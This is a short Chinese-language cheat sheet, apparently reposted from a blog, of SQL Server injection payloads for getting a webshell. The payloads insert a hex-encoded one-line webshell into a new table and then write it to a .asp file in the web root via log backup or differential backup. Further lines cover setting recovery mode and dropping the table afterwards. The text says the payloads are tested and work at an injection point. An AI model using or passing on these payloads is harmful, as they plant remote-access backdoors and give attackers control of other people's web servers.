;alter database 库名 set RECOVERY FULL--
;create table 数据库名..表名(a image)-- //建表
;insert into 数据库名..表名(a) values (0x一句话木马)-- //插入一句话木马到表中，注意16进制
;backup database 数据库名 to disk = ‘c:\www\panda.bak‘-- //先手动给test1备份一遍
;backup log 数据库名 to disk = ‘c:\www\panda.asp‘ with init-- //利用log备份到web路径getshell
;Drop table 数据库名..表名-- //删除表
;backup database 库名 to disk = ‘c:\bak.bak‘ ;-- //先手动备份一次
;declare @a sysname,@s varchar(4000) select @a=db_name(),@s=0x备份路径\xx.bak backup database @a to disk=@s-- //0x备份的数据库名转换成16位进制,db_name()里面可以加数字备份不同的数据库
;create table 数据库名..表名(a image)-- //建立表，加字段
;insert into 数据库名..表名(a) values (0x一句话木马)-- //插入一句话木马到表中，注意16进制
;backup database 库名 to disk = ‘c:\shell.asp‘ with differential , format ;-- //进行差异备份
;declare @a sysname,@s varchar(4000) select @a=db_name(),@s=0x备份路径\xx.asp backup database @a to disk=@s WITH DIFFERENTIAL,FORMAT-- //备份到路径\xx.asp，前提是已得知路径，注意转换为16进制,假如备份的路径为c:\webroot\panda.asp ，访问查看是否备份getshell成功
;Drop table 数据库..表名-- //备份完getshell过后删除表
文中的方法和payload亲测可用的，至于图片，可以稍微的自行脑补，在注入点上操作即可
原文：https://www.cnblogs.com/PANDA-Mosen/p/13283204.html